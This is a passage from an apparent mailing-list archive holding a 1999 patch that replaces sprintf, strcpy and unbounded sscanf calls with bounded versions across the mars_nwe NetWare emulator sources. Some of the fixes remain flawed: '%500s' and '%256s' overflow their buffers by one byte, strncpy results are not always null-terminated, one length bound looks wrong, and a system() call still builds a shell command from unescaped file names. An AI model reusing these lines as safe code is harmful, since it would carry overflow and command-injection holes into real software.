(int) buf_uc[2]);
seteuid(0);
@@ -50,11 +50,11 @@
static void free_attr_from_disk(int dev, ino_t inode)
{
char buf[255];
uint8 buf_uc[4];
U32_TO_BE32(inode, buf_uc);
- sprintf(buf, "%s/%x/%x/%x/%x/%x", path_attributes,
+ snprintf(buf, sizeof(buf), "%s/%x/%x/%x/%x/%x", path_attributes,
dev,
(int) buf_uc[0],
(int) buf_uc[1],
(int) buf_uc[2],
(int) buf_uc[3]);
@@ -69,11 +69,11 @@
char buf[255];
char battrib[255];
int l;
uint8 buf_uc[4];
U32_TO_BE32(inode, buf_uc);
- sprintf(buf, "%s/%x/%x/%x/%x/%x", path_attributes,
+ snprintf(buf, sizeof(buf), "%s/%x/%x/%x/%x/%x", path_attributes,
dev,
(int) buf_uc[0],
(int) buf_uc[1],
(int) buf_uc[2],
(int) buf_uc[3]);
--- nwbind.c.orig Mon Aug 30 12:55:32 1999
+++ nwbind.c Mon Aug 30 12:55:34 1999
@@ -414,11 +414,11 @@
uint8 internet_bridge_version; /* 1 */
uint8 reserved[60];
} *xdata = (struct XDATA*) responsedata;
int k, i, h;
memset(xdata, 0, sizeof(struct XDATA));
- strcpy(xdata->servername, my_nwname);
+ strncpy(xdata->servername, my_nwname, sizeof(xdata->servername)-1);
if (!tells_server_version) {
xdata->version = 2;
xdata->subversion = 15;
} else {
xdata->version = 3;
--- nwconn.c.orig Mon Aug 30 13:04:08 1999
+++ nwconn.c Mon Aug 30 13:04:35 1999
@@ -1087,11 +1087,11 @@
uint8 *dirhandle = rdata+3+q_name_len;
int pathlen = *(rdata+3+q_name_len+1);
uint8 *path = rdata+3+q_name_len+2;
uint8 new_path[257];
int result = conn_get_full_path(*dirhandle,
- path, pathlen, new_path);
+ path, pathlen, new_path, sizeof(new_path));
if (result > -1) {
int diffsize = result - pathlen;
*dirhandle = 0;
memcpy(path, new_path, result);
if (diffsize)
--- nwdbm.c.orig Mon Aug 30 13:27:35 1999
+++ nwdbm.c Mon Aug 30 13:26:07 1999
@@ -2360,11 +2360,11 @@
if (state & 1){
if (state == 1) {
pp=directory;
state++;
} else if (state==3) {
- strcpy(command, p-1);
+ strncpy(command, p-1, sizeof(command)-1);
break;
}
}
*pp++ = c;
}
--- nwfile.c.orig Mon Aug 30 13:28:58 1999
+++ nwfile.c Mon Aug 30 13:29:37 1999
@@ -97,11 +97,11 @@
fh->tmodi = 0L;
fh->modified = 0;
fh->st_ino = 0;
fh->access = 0;
fh->inuse = 0;
- strcpy((char*)fh->fname, (char*)unixname);
+ strncpy((char*)fh->fname, (char*)unixname, sizeof(fh->fname)-1);
fh->fh_flags = 0;
fh->f = NULL;
fh->volume = volume;
XDPRINTF((5, 0, "new_file_handle=%d, count_fhandles=%d, fn=%s",
fhandle, count_fhandles, unixname));
@@ -678,11 +678,11 @@
static void open_pipe_command(FILE_HANDLE *fh, int dowrite)
{
if (NULL == fh->f) {
char pipecommand[512];
- sprintf(pipecommand, "%s %s %d %d",
+ snprintf(pipecommand, sizeof(pipecommand), "%s %s %d %d",
fh->fname,
dowrite ? "WRITE" : "READ",
act_connection, act_pid);
fh->f = ext_popen(pipecommand, geteuid(), getegid(), 0);
}
--- nwqconn.c.orig Mon Aug 30 13:30:42 1999
+++ nwqconn.c Mon Aug 30 13:30:44 1999
@@ -210,11 +210,11 @@
char buff[1024];
char printcommand[300];
FILE *f=NULL;
if (prc_len && *(prc+prc_len-1)=='!'){
strmaxcpy((uint8*)buff, prc, prc_len-1);
- sprintf(printcommand, "%s %s %s", buff,
+ snprintf(printcommand, sizeof(printcommand), "%s %s %s", buff,
qpa.banner_user_name, qpa.banner_file_name);
} else
strmaxcpy((uint8*)printcommand, prc, prc_len);
nw_close_file(jo->fhandle, 1, jo->task);
jo->fhandle = 0L;
--- nwserv.c.orig Mon Aug 30 13:34:04 1999
+++ nwserv.c Mon Aug 30 14:10:34 1999
@@ -849,11 +849,11 @@
char inhalt2[500];
char inhalt3[500];
char inhalt4[500];
char dummy;
int anz;
- if ((anz=sscanf((char*)buff, "%s %s %s %s", inhalt, inhalt2,
+ if ((anz=sscanf((char*)buff, "%500s %500s %500s %500s", inhalt, inhalt2,
inhalt3, inhalt4)) > 0) {
switch (what) {
case 2 : if (full) {
strncpy(my_nwname, inhalt, 48);
my_nwname[47] = '\0';
@@ -1285,11 +1285,11 @@
|| (*a == 'd' && argc - j == 3) ) {
int result;
int frame=-1;
uint32 netnum=0L;
char buf[256];
- strcpy(buf, argv[j+2]);
+ strncpy(buf, argv[j+2], sizeof(buf)-1);
upstr(buf);
if (!strcmp(buf, "802.3"))
frame=IPX_FRAME_8023;
else if (!strcmp(buf, "802.2"))
frame=IPX_FRAME_8022;
--- nwvolume.c.orig Mon Aug 30 13:35:23 1999
+++ nwvolume.c Mon Aug 30 13:38:38 1999
@@ -142,11 +142,11 @@
uint8 optionstr[256];
uint8 umode_dirstr[256];
uint8 umode_filestr[256];
uint8 *p;
int len;
- int founds = sscanf((char*)buff, "%s %s %s %s %s",
+ int founds = sscanf((char*)buff, "%256s %256s %256s %256s %256s",
sysname, unixname, optionstr, umode_dirstr, umode_filestr);
if (founds > 1) {
NW_VOL *vol=&(nw_volumes[used_nw_volumes]);
vol->options = VOLOPTIONS_DEFAULT;
vol->options |= VOL_NAMESPACE_DOS;
@@ -339,13 +339,13 @@
if (homepathlen > 0 && nw_volumes[k].addonlen) {
if (homepathlen + nw_volumes[k].addonlen > 256) {
flen = 0;
fname = "";
} else {
- strcpy(fullname, unixname);
+ strncpy(fullname, unixname, sizeof(fullname)-1);
/* concatenation $HOME/ and add/on/ */
- strcpy(fullname + homepathlen, nw_volumes[k].homeaddon);
+ strncpy(fullname + homepathlen, nw_volumes[k].homeaddon, sizeof(fullname)-homepathlen-1);
fname = fullname;
flen = homepathlen + nw_volumes[k].addonlen;
}
}
nw_volumes[k].unixnamlen = flen;
@@ -664,14 +664,14 @@
{
NW_VOL *v=&(nw_volumes[volume]);
uint8 trusteepath[500];
uint8 *p;
free_vol_trustee(v);
- strcpy(trusteepath, path_trustees);
+ strncpy(trusteepath, path_trustees, sizeof(trusteepath)-1);
p=trusteepath+strlen(trusteepath);
*p++='/';
- strcpy(p, v->sysname);
+ strncpy(p, v->sysname, sizeof(trusteepath)-strlen(p)-1);
p+=strlen(v->sysname);
*p++='/';
*p='\0';
v->trustee_id=id;
v->trustee_namespace=namespace;
--- trustee.c.orig Mon Aug 30 13:45:12 1999
+++ trustee.c Mon Aug 30 13:45:17 1999
@@ -281,11 +281,11 @@
char buf[255];
uint8 buf_uc[4];
char volname[100];
if (nw_get_volume_name(volume, volname) < 1) return;
U32_TO_BE32(inode, buf_uc);
- sprintf(buf, "%s/%s/%x/%x/%x/%x/n.%x", path_trustees, volname,
+ snprintf(buf, sizeof(buf), "%s/%s/%x/%x/%x/%x/n.%x", path_trustees, volname,
dev,
(int) buf_uc[0],
(int) buf_uc[1],
(int) buf_uc[2],
(int) buf_uc[3]);
@@ -304,11 +304,11 @@
int l;
uint8 buf_uc[4];
char volname[100];
if (nw_get_volume_name(volume, volname) < 1) return(-0xff);
U32_TO_BE32(inode, buf_uc);
- l=sprintf(buf, "%s/%s/%x/%x/%x/%x/t.%x", path_trustees, volname,
+ l=snprintf(buf, sizeof(buf), "%s/%s/%x/%x/%x/%x/t.%x", path_trustees, volname,
dev,
(int) buf_uc[0],
(int) buf_uc[1],
(int) buf_uc[2],
(int) buf_uc[3]);
@@ -326,11 +326,11 @@
int result=-0xfe; /* no such trustee */
uint8 buf_uc[4];
char volname[100];
if (nw_get_volume_name(volume, volname) < 1) return(result);
U32_TO_BE32(inode, buf_uc);
- sprintf(buf, "%s/%s/%x/%x/%x/%x/t.%x/%x", path_trustees, volname,
+ snprintf(buf, sizeof(buf), "%s/%s/%x/%x/%x/%x/t.%x/%x", path_trustees, volname,
dev,
(int) buf_uc[0],
(int) buf_uc[1],
(int) buf_uc[2],
(int) buf_uc[3],
@@ -349,11 +349,11 @@
char buf[255];
char buf1[20];
int len;
unsigned int sernum=0;
if (nw_get_volume_name(volume, volname) < 1) return(-1);
- sprintf(buf, "%s/%s/ts", path_trustees, volname);
+ snprintf(buf, sizeof(buf), "%s/%s/ts", path_trustees, volname);
len=readlink(buf, buf1, sizeof(buf1)-1);
if (len>0) {
buf1[len]='\0';
if (1!=sscanf(buf1,"%x", &sernum))
sernum=0;
@@ -378,11 +378,11 @@
uint8 buf_uc[4];
int len;
char volname[100];
if (nw_get_volume_name(volume, volname) < 1) return;
U32_TO_BE32(inode, buf_uc);
- len=sprintf(buf, "%s/%s/%x/%x/%x/%x/", path_trustees, volname,
+ len=snprintf(buf, sizeof(buf), "%s/%s/%x/%x/%x/%x/", path_trustees, volname,
dev,
(int) buf_uc[0],
(int) buf_uc[1],
(int) buf_uc[2]);
sprintf(buf+len, "t.%x", (int)buf_uc[3]);
@@ -436,11 +436,11 @@
tr->eff_rights = -1; /* not yet set */
U32_TO_BE32(inode, buf_uc);
(void)nw_get_volume_name(volume, volname);
- l=sprintf(buf, "%s/%s/%x/%x/%x/%x/t.%x", path_trustees, volname,
+ l=snprintf(buf, sizeof(buf), "%s/%s/%x/%x/%x/%x/t.%x", path_trustees, volname,
dev,
(int) buf_uc[0],
(int) buf_uc[1],
(int) buf_uc[2],
(int) buf_uc[3]);
@@ -456,11 +456,11 @@
if (dirbuff->d_ino && dirbuff->d_name[0] != '.') {
char btrustee[255];
int len;
unsigned int id;
if (1 == sscanf(dirbuff->d_name, "%x", &id)) {
- strcpy(p, dirbuff->d_name);
+ strncpy(p, dirbuff->d_name, sizeof(buf)-l-1);
len=readlink(buf, btrustee, 254);
if (len > 0) {
unsigned int utrustee=0;
btrustee[len]='\0';
if (1 == sscanf(btrustee, "%x", &utrustee)) {
--- unxfile.c.orig Mon Aug 30 13:48:12 1999
+++ unxfile.c Mon Aug 30 13:48:15 1999
@@ -82,11 +82,11 @@
while ((dirbuff = readdir(d)) != (struct dirent*)NULL){
if (dirbuff->d_ino &&
( dirbuff->d_name[0] != '.'
|| (dirbuff->d_name[1] != '\0' &&
(dirbuff->d_name[1] != '.' || dirbuff->d_name[2] != '\0')))) {
- strcpy(p, dirbuff->d_name);
+ strncpy(p, dirbuff->d_name, len+300+len-1);
if (unlink(buf) && unx_xrmdir(buf)) {
errorp(1, "unx_xrmdir", "cannot remove '%s'", buf);
break;
}
}
@@ -103,11 +103,11 @@
uint8 command[500];
struct stat statb;
if (!stat(newname, &statb)) return(EEXIST);
if (stat(oldname, &statb)) return(-1);
else if (!S_ISDIR(statb.st_mode)) return(-1);
- sprintf(command, "mv %s %s 2>&1 >/dev/null" , oldname, newname);
+ snprintf(command, sizeof(command)-1, "mv %s %s 2>&1 >/dev/null" , oldname, newname);
return(system(command));
}
#endif
int unx_ftruncate(int fd, uint32 size)
End of MIME message
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic